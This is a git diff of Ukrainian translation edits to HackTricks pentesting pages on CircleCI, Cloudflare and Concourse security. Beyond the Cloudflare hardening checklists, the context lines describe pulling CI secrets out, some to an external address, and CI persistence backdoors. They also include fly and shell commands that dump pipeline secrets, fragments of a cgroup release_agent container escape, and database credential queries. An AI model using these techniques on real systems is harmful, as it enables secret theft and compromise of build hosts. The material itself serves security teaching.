потенційні **секрети у відкритому тексті**, збережені там. -#### Перерахування секретних змінних середовища та контексту +#### Перерахування змінних середовища секретів та контексту Перевіряючи код, ви можете знайти **всі назви секретів**, які **використовуються** в кожному файлі `.circleci/config.yml`. Ви також можете отримати **назви контекстів** з цих файлів або перевірити їх у веб-консолі: _https://app.circleci.com/settings/organization/github/\/contexts_. @@ -95,7 +95,7 @@ SECRET: A secret > [!CAUTION] > Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього. Тому зловмисник може **імпортувати всі змінні проекту з усіх репозиторіїв** і потім **екстрагувати їх усі разом**. -Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви екстрагуєте секрети в **консолі веб-логів робочих процесів**: +Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви зможете екстрагувати секрети в **консолі веб-логів робочих процесів**: ```yaml version: 2.1 @@ -141,9 +141,9 @@ only: jobs: - exfil-env ``` -#### Екстракція секретів контексту +#### Exfiltrate Context Secrets -Вам потрібно **вказати ім'я контексту** (це також екстрактує секрети проекту): +Вам потрібно **вказати ім'я контексту** (це також ексфільтрує секрети проекту): ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Якщо ви **не маєте доступу до веб-консолі**, але у вас є **доступ до репозиторію** і ви знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **тригериться кожну хвилину** і **експортує секрети на зовнішню адресу**: +Якщо у вас **немає доступу до веб-консолі**, але ви маєте **доступ до репозиторію** і знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **запускається кожну хвилину** і **експортує секрети на зовнішню адресу**: ```yaml version: 2.1 @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Persistence -- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувача. +- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувачів. - _https://app.circleci.com/settings/user/tokens_ -- Можна **створити токени проекту** для доступу до проекту з правами, наданими токену. +- Можна **створити токени проектів** для доступу до проекту з правами, наданими токену. - _https://app.circleci.com/settings/project/github/\/\/api_ - Можна **додати SSH-ключі** до проектів. - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- Можна **створити cron job в прихованій гілці** в несподіваному проекті, який **витікає** всі **змінні середовища контексту** щодня. +- Можна **створити cron-завдання в прихованій гілці** в несподіваному проекті, яке **витікає** всі **змінні середовища контексту** щодня. - Або навіть створити в гілці / змінити відоме завдання, яке буде **витікати** всі контексти та **секрети проектів** щодня. - Якщо ви є власником github, ви можете **дозволити неперевірені orbs** і налаштувати один у завданні як **задню двері**. -- Ви можете знайти **вразливість до ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення. +- Ви можете знайти **вразливість ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index aa330df5a..3fc2de32a 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -49,10 +49,10 @@ _Я не зміг знайти нічого для перевірки безпе - [ ] Перевірте **код робітника** та шукайте **вразливості** (особливо в місцях, де користувач може керувати введенням). - Перевірте наявність SSRF, що повертає вказану сторінку, яку ви можете контролювати. - Перевірте XSS, що виконує JS всередині svg зображення. -- Можливо, що робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача. +- Можливо, робітник взаємодіє з іншими внутрішніми сервісами. Наприклад, робітник може взаємодіяти з R2 бакетом, що зберігає інформацію, отриману з введення. У такому випадку необхідно перевірити, які можливості має робітник над R2 бакетом і як це може бути зловжито з боку введення користувача. > [!WARNING] -> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на зразок `..workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його. +> Зверніть увагу, що за замовчуванням **Робітнику надається URL** на кшталт `..workers.dev`. Користувач може налаштувати його на **піддомен**, але ви завжди можете отримати доступ до нього за цим **оригінальним URL**, якщо знаєте його. ## R2 @@ -86,7 +86,7 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є в основному статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання. +> На відміну від [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) є по суті статичними — вони не підтримують жодні операції заміни рядків або регулярні вирази. Однак ви можете налаштувати параметри перенаправлення URL, які впливають на їх поведінку при співпадінні URL та їх поведінку під час виконання. - [ ] Перевірте, що **вирази** та **вимоги** для перенаправлень **мають сенс**. - [ ] Також перевірте наявність **чутливих прихованих кінцевих точок**, які містять цікаву інформацію. @@ -125,7 +125,7 @@ cloudflare-zero-trust-network.md - [ ] У членах можна перевірити, які **учасники** мають **2FA увімкнено**. **Кожен** користувач повинен мати його увімкненим. > [!NOTE] -> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запрошувати** нових учасників). +> Зверніть увагу, що, на щастя, роль **`Administrator`** не надає дозволів на управління членством (**не може підвищити привілеї або запросити** нових учасників). ## DDoS Investigation diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 1204dae1b..fccc9073b 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -В кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:** +У кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
@@ -13,24 +13,24 @@ ### Аналітика -- [ ] У **`Security`** перевірте, чи є будь-яке **обмеження швидкості** +- [ ] У **`Security`** перевірити, чи є будь-яке **обмеження швидкості** ### DNS -- [ ] Перевірте **цікаві** (чутливі?) дані в DNS **записах** -- [ ] Перевірте наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com) -- [ ] Перевірте веб-сторінки, які **не є** **проксованими** -- [ ] Перевірте **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси -- [ ] Перевірте, що **DNSSEC** **увімкнено** -- [ ] Перевірте, що **CNAME Flattening** **використовується** в **усіх CNAME** +- [ ] Перевірити **цікаві** (чутливі?) дані в DNS **записах** +- [ ] Перевірити наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com) +- [ ] Перевірити веб-сторінки, які **не є** **проксованими** +- [ ] Перевірити **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси +- [ ] Перевірити, що **DNSSEC** **увімкнено** +- [ ] Перевірити, що **CNAME Flattening** **використовується** в **усіх CNAME** - Це може бути корисно для **приховування вразливостей захоплення субдоменів** та покращення часу завантаження -- [ ] Перевірте, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Перевірити, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Електронна пошта** TODO -### Spectrum +### Спектр TODO @@ -58,14 +58,14 @@ TODO - [ ] У розділі **`API Shield`** рекомендується перевірити, що він **увімкнений**, якщо будь-який API відкритий у Cloudflare - [ ] У розділі **`DDoS`** рекомендується увімкнути **захист від DDoS** - [ ] У розділі **`Settings`**: -- [ ] Перевірте, що **`Security Level`** є **середнім** або вищим -- [ ] Перевірте, що **`Challenge Passage`** становить максимум 1 годину -- [ ] Перевірте, що **`Browser Integrity Check`** **увімкнено** -- [ ] Перевірте, що **`Privacy Pass Support`** **увімкнено** +- [ ] Перевірити, що **`Security Level`** є **середнім** або вищим +- [ ] Перевірити, що **`Challenge Passage`** становить максимум 1 годину +- [ ] Перевірити, що **`Browser Integrity Check`** **увімкнено** +- [ ] Перевірити, що **`Privacy Pass Support`** **увімкнено** #### **Захист DDoS CloudFlare** -- Якщо можете, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не зможете увімкнути це, не зламавши цей доступ. +- Якщо можливо, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не мати можливості увімкнути це, не зламавши цей доступ. - У **WAF**: Ви можете створити **обмеження швидкості за URL-адресою** або для **перевірених ботів** (правила обмеження швидкості), або **блокувати доступ** на основі IP, Cookie, реферера...). Таким чином, ви можете блокувати запити, які не надходять з веб-сторінки або не мають cookie. - Якщо атака з **перевіреного бота**, принаймні **додайте обмеження швидкості** для ботів. - Якщо атака на **конкретний шлях**, як механізм запобігання, додайте **обмеження швидкості** в цьому шляху. @@ -74,7 +74,7 @@ TODO - У розділі **Інструменти** ви можете **блокувати або ставити виклик конкретним IP** та **агентам користувача.** - У DDoS ви можете **перезаписати деякі правила, щоб зробити їх більш обмежувальними**. - **Налаштування**: Встановіть **Security Level** на **Високий** та на **Під атакою**, якщо ви під атакою, і щоб **Browser Integrity Check був увімкнений**. -- У Cloudflare Domains -> Analytics -> Security -> Перевірте, чи **обмеження швидкості** увімкнено +- У Cloudflare Domains -> Analytics -> Security -> Перевірте, чи **увімкнено обмеження швидкості** - У Cloudflare Domains -> Security -> Events -> Перевірте наявність **виявлених шкідливих подій** ### Доступ @@ -111,7 +111,7 @@ TODO ### Користувацькі сторінки -- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або режим "я під атакою"), є необов'язковим +- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або я під атакою), є необов'язковим ### Додатки @@ -119,7 +119,7 @@ TODO ### Scrape Shield -- [ ] Перевірте, що **обфускація адрес електронної пошти** **увімкнена** +- [ ] Перевірте, що **обфускація електронної пошти** **увімкнена** - [ ] Перевірте, що **виключення на стороні сервера** **увімкнені** ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 8a07699da..35a13660a 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -6,56 +6,56 @@
-### Analytics +### Аналітика - [ ] Корисно для **ознайомлення з середовищем** -### **Gateway** +### **Шлюз** -- [ ] У **`Policies`** можна створити політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом. +- [ ] У **`Політиках`** можна створювати політики для **обмеження** доступу до додатків за **DNS**, **мережею** або **HTTP** запитом. - Якщо використовується, **політики** можуть бути створені для **обмеження** доступу до шкідливих сайтів. - Це **актуально лише якщо використовується шлюз**, якщо ні, немає причин створювати захисні політики. -### Access +### Доступ -#### Applications +#### Додатки На кожному додатку: -- [ ] Перевірте **хто** може отримати доступ до додатку в **Policies** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ. -- Для надання доступу будуть використовуватися **`Access Groups`** (також можна встановити **додаткові правила**) -- [ ] Перевірте **доступні постачальники ідентичності** і переконайтеся, що вони **не занадто відкриті** -- [ ] У **`Settings`**: +- [ ] Перевірте **хто** може отримати доступ до додатку в **Політиках** і переконайтеся, що **тільки** **користувачі**, які **потребують доступу** до додатку, можуть отримати доступ. +- Для надання доступу будуть використовуватися **`Групи доступу`** (також можуть бути встановлені **додаткові правила**) +- [ ] Перевірте **доступних постачальників ідентичності** і переконайтеся, що вони **не занадто відкриті** +- [ ] У **`Налаштуваннях`**: - [ ] Перевірте, що **CORS не увімкнено** (якщо увімкнено, перевірте, що воно **безпечне** і не дозволяє все) -- [ ] Cookies повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **binding cookie** повинні бути **увімкнені**, якщо додаток є HTTP. -- [ ] Розгляньте можливість увімкнення також **Browser rendering** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Файли cookie повинні мати атрибут **Strict Same-Site**, **HTTP Only** і **прив'язка cookie** повинна бути **увімкнена**, якщо додаток є HTTP. +- [ ] Розгляньте можливість увімкнення також **рендерингу браузера** для кращого **захисту. Більше інформації про** [**ізоляцію віддаленого браузера тут**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** -#### **Access Groups** +#### **Групи доступу** - [ ] Перевірте, що згенеровані групи доступу **правильно обмежені** для користувачів, яким вони повинні надавати доступ. -- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**) оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**. +- [ ] Особливо важливо перевірити, що **група доступу за замовчуванням не є дуже відкритою** (вона **не дозволяє занадто багатьом людям**), оскільки за **замовчуванням** будь-хто в цій **групі** зможе **отримати доступ до додатків**. - Зверніть увагу, що можливо надати **доступ** **ВСІМ** та інші **дуже відкриті політики**, які не рекомендуються, якщо це не є 100% необхідним. -#### Service Auth +#### Аутентифікація сервісу - [ ] Перевірте, що всі токени сервісу **закінчуються через 1 рік або менше** -#### Tunnels +#### Тунелі TODO -### My Team +### Моя команда TODO -### Logs +### Журнали - [ ] Ви можете шукати **неочікувані дії** від користувачів -### Settings +### Налаштування - [ ] Перевірте **тип плану** - [ ] Можна побачити **ім'я власника кредитної картки**, **останні 4 цифри**, **дату закінчення** та **адресу** -- [ ] Рекомендується **додати термін дії користувача** для видалення користувачів, які насправді не використовують цей сервіс +- [ ] Рекомендується **додати термін дії користувацького місця**, щоб видалити користувачів, які насправді не використовують цей сервіс {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index adbc3594d..28ff7988b 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -4,7 +4,7 @@ ## Основна інформація -Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення образів, коли вам це потрібно (за часом, коли щось відбувається...) +Concourse дозволяє вам **створювати конвеєри** для автоматичного виконання тестів, дій та створення зображень, коли це необхідно (за часом, коли щось відбувається...) ## Архітектура Concourse diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 70bee287c..8585c1fe3 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -20,13 +20,13 @@ ATC є серцем Concourse. Він запускає **веб UI та API** і TSA є **кастомізованим SSH сервером**, який використовується виключно для безпечної **реєстрації** [**працівників**](https://concourse-ci.org/internals.html#architecture-worker) з [ATC](https://concourse-ci.org/internals.html#component-atc). -TSA за **замовчуванням слухає на порту `2222`** і зазвичай розміщується разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження. +TSA за **замовчуванням слухає на порту `2222`** і зазвичай розташований разом з [ATC](https://concourse-ci.org/internals.html#component-atc) і знаходиться за балансувальником навантаження. **TSA реалізує CLI через SSH з'єднання,** підтримуючи [**ці команди**](https://concourse-ci.org/internals.html#component-tsa). #### Працівники -Для виконання завдань Concourse повинен мати кілька працівників. Ці працівники **реєструють себе** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Для виконання завдань Concourse повинен мати деяких працівників. Ці працівники **реєструються** через [TSA](https://concourse-ci.org/internals.html#component-tsa) і запускають сервіси [**Garden**](https://github.com/cloudfoundry-incubator/garden) та [**Baggageclaim**](https://github.com/concourse/baggageclaim). - **Garden**: Це **API управління контейнерами**, зазвичай працює на **порту 7777** через **HTTP**. - **Baggageclaim**: Це **API управління томами**, зазвичай працює на **порту 7788** через **HTTP**. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index a7620f464..a2a98afb0 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -12,10 +12,10 @@ Concourse має п'ять ролей: - **owner**: Власники команди можуть **змінювати все в межах команди**. - **member**: Члени команди можуть **читати та писати** в межах **ресурсів команди**, але не можуть змінювати налаштування команди. - **pipeline-operator**: Оператори конвеєра можуть виконувати **операції конвеєра**, такі як запуск збірок і закріплення ресурсів, однак вони не можуть оновлювати конфігурації конвеєра. -- **viewer**: Глядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів. +- **viewer**: Переглядачі команди мають **доступ "тільки для читання" до команди** та її конвеєрів. > [!NOTE] -> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це на: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Більше того, **дозволи ролей owner, member, pipeline-operator та viewer можуть бути змінені** шляхом налаштування RBAC (більш конкретно, його дій). Читайте більше про це за адресою: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) Зверніть увагу, що Concourse **групує конвеєри всередині команд**. Тому користувачі, які належать до команди, зможуть керувати цими конвеєрами, і **може існувати кілька команд**. Користувач може належати до кількох команд і мати різні дозволи в кожній з них. @@ -34,7 +34,6 @@ Concourse має п'ять ролей: file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -```markdown Або використовуючи наступні `fly` **аргументи**: - `-v` або `--var` `NAME=VALUE` встановлює рядок `VALUE` як значення для змінної `NAME`. @@ -44,7 +43,7 @@ vars: { tag: 1.13 } #### Управління обліковими даними -Існують різні способи, як **менеджер облікових даних може бути вказаний** у конвеєрі, читайте про це в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Існують різні способи, як **менеджер облікових даних може бути вказаний** в конвеєрі, читайте як в [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Більше того, Concourse підтримує різні менеджери облікових даних: - [Менеджер облікових даних Vault](https://concourse-ci.org/vault-credential-manager.html) @@ -58,11 +57,11 @@ vars: { tag: 1.13 } - [Повторна спроба невдалих запитів](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Зверніть увагу, що якщо у вас є якийсь **доступ на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ. +> Зверніть увагу, що якщо у вас є якийсь вид **доступу на запис до Concourse**, ви можете створювати завдання для **екстракції цих секретів**, оскільки Concourse повинен мати можливість отримувати до них доступ. ### Перерахування Concourse -Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, у конфігураційному файлі `.flyrc`. +Щоб перерахувати середовище concourse, спочатку потрібно **зібрати дійсні облікові дані** або знайти **авторизований токен**, ймовірно, в конфігураційному файлі `.flyrc`. #### Вхід та перерахування поточного користувача @@ -70,7 +69,7 @@ vars: { tag: 1.13 } - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Отримати налаштовані **цілі**: - `fly targets` -- Перевірити, чи **підключення до цілі** все ще **дійсне**: +- Перевірити, чи налаштоване **з'єднання з ціллю** все ще **дійсне**: - `fly -t status` - Отримати **роль** користувача щодо вказаної цілі: - `fly -t userinfo` @@ -82,7 +81,7 @@ vars: { tag: 1.13 } - Отримати список команд - `fly -t teams` -- Отримати ролі всередині команди +- Отримати ролі в команді - `fly -t get-team -n ` - Отримати список користувачів - `fly -t active-users` @@ -96,7 +95,6 @@ vars: { tag: 1.13 } - Отримати всі **змінні конфігурації конвеєра**: - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - Отримати всі **імена секретів конвеєра**, що використовуються (якщо ви можете створити/змінити завдання або захопити контейнер, ви можете їх екстрактувати): -``` ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -140,7 +138,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options - **Вкрасти секрети** всередині **контейнера** - Спробувати **втекти** на вузол -- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла, якщо це можливо) +- Перерахувати/Зловживати **інтерфейсом метаданих хмари** (з пода та з вузла, якщо це можливо) #### Створення/Модифікація конвеєра @@ -172,7 +170,7 @@ SUPER_SECRET: ((super.secret)) - **Вкрасти** **секрети** (через їх виведення або зайшовши в контейнер і запустивши `env`) - **Вийти** на **вузол** (надавши вам достатні привілеї - `privileged: true`) -- Перерахувати/Зловживати **метаданими хмари** (з поду та з вузла) +- Перерахувати/Зловживати **метаданими хмари** (з пода та з вузла) - **Видалити** створений конвеєр #### Виконати Користувацьке Завдання @@ -203,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml У попередніх розділах ми бачили, як **виконати привілейоване завдання з concourse**. Це не надасть контейнеру точно такого ж доступу, як привілейований прапор у контейнері docker. Наприклад, ви не побачите пристрій файлової системи вузла в /dev, тому втеча може бути більш "складною". -У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими змінами: +У наступному PoC ми будемо використовувати release_agent для втечі з деякими невеликими модифікаціями: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -262,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> Як ви могли помітити, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях cmd у вузлі +> Як ви, можливо, помітили, це просто [**регулярний escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), просто модифікуючи шлях до cmd у вузлі #### Втеча до вузла з контейнера Worker @@ -295,9 +293,9 @@ cat /output ``` #### Втеча до вузла з веб-контейнера -Навіть якщо веб-контейнер має деякі захисти вимкненими, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера марні). +Навіть якщо веб-контейнер має деякі засоби захисту вимкненими, він **не працює як звичайний привілейований контейнер** (наприклад, ви **не можете** **монтувати** і **можливості** дуже **обмежені**, тому всі прості способи втечі з контейнера марні). -Однак він зберігає **локальні облікові дані у відкритому тексті**: +Однак він зберігає **локальні облікові дані у відкритому вигляді**: ```bash cat /concourse-auth/local-users test:test @@ -306,7 +304,7 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера та втечі до вузла**. +Ви можете використовувати ці облікові дані для **входу на веб-сервер** та **створення привілейованого контейнера і втечі до вузла**. У середовищі ви також можете знайти інформацію для **доступу до постgresql** екземпляра, який використовує concourse (адреса, **ім'я користувача**, **пароль** та база даних серед іншої інформації): ```bash @@ -329,17 +327,17 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` -#### Зловживання службою Garden - Не справжня атака +#### Зловживання Garden Service - Не справжня атака > [!WARNING] -> Це лише кілька цікавих нотаток про службу, але оскільки вона слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше +> Це лише деякі цікаві нотатки про сервіс, але оскільки він слухає лише на localhost, ці нотатки не матимуть жодного впливу, який ми ще не експлуатували раніше -За замовчуванням кожен працівник concourse буде запускати службу [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Ця служба використовується веб-майстром для вказівки працівнику **що потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є кілька хороших захистів: +За замовчуванням кожен concourse worker буде запускати сервіс [**Garden**](https://github.com/cloudfoundry/garden) на порту 7777. Цей сервіс використовується веб-майстром для вказівки worker **що йому потрібно виконати** (завантажити зображення та виконати кожне завдання). Це звучить досить добре для зловмисника, але є деякі хороші захисти: -- Вона **виключно локально** (127..0.0.1) і я думаю, що коли працівник аутентифікується проти вебу за допомогою спеціальної служби SSH, створюється тунель, щоб веб-сервер міг **спілкуватися з кожною службою Garden** всередині кожного працівника. -- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і службою garden. +- Він **виключно локальний** (127..0.0.1), і я думаю, що коли worker аутентифікується проти вебу за допомогою спеціального SSH-сервісу, створюється тунель, щоб веб-сервер міг **спілкуватися з кожним Garden service** всередині кожного worker. +- Веб-сервер **моніторить запущені контейнери кожні кілька секунд**, і **неочікувані** контейнери **видаляються**. Тож якщо ви хочете **запустити власний контейнер**, вам потрібно **втрутитися** в **зв'язок** між веб-сервером і garden service. -Працівники concourse працюють з високими привілеями контейнера: +Concourse workers працюють з високими привілеями контейнера: ``` Container Runtime: docker Has Namespaces: @@ -350,12 +348,12 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -Однак, такі техніки, як **mounting** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється. +Однак, такі техніки, як **монтування** пристрою /dev вузла або release_agent **не спрацюють** (оскільки реальний пристрій з файловою системою вузла недоступний, лише віртуальний). Ми не можемо отримати доступ до процесів вузла, тому втеча з вузла без експлойтів ядра ускладнюється. > [!NOTE] > У попередньому розділі ми бачили, як втекти з привілейованого контейнера, тому якщо ми можемо **виконувати** команди в **привілейованому контейнері**, створеному **поточним** **робітником**, ми могли б **втекти до вузла**. -Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це схоже на контейнер, що створює новий контейнер всередині нього. +Зверніть увагу, що граючи з concourse, я помітив, що коли новий контейнер створюється для виконання чогось, процеси контейнера доступні з контейнера робітника, тому це як контейнер, що створює новий контейнер всередині нього. **Отримання доступу до запущеного привілейованого контейнера** ```bash diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 8b0d913b2..d4af35b6f 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -Після генерації середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів: +Після створення середовища concourse, ви можете згенерувати секрет і надати доступ SA, що працює в concourse web, для доступу до K8s секретів: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -76,16 +76,16 @@ Pipeline складається зі списку [Jobs](https://concourse-ci.or Можна використовувати кілька різних типів кроків: - **the** [**`task` step**](https://concourse-ci.org/task-step.html) **виконує** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно -- the [`do` 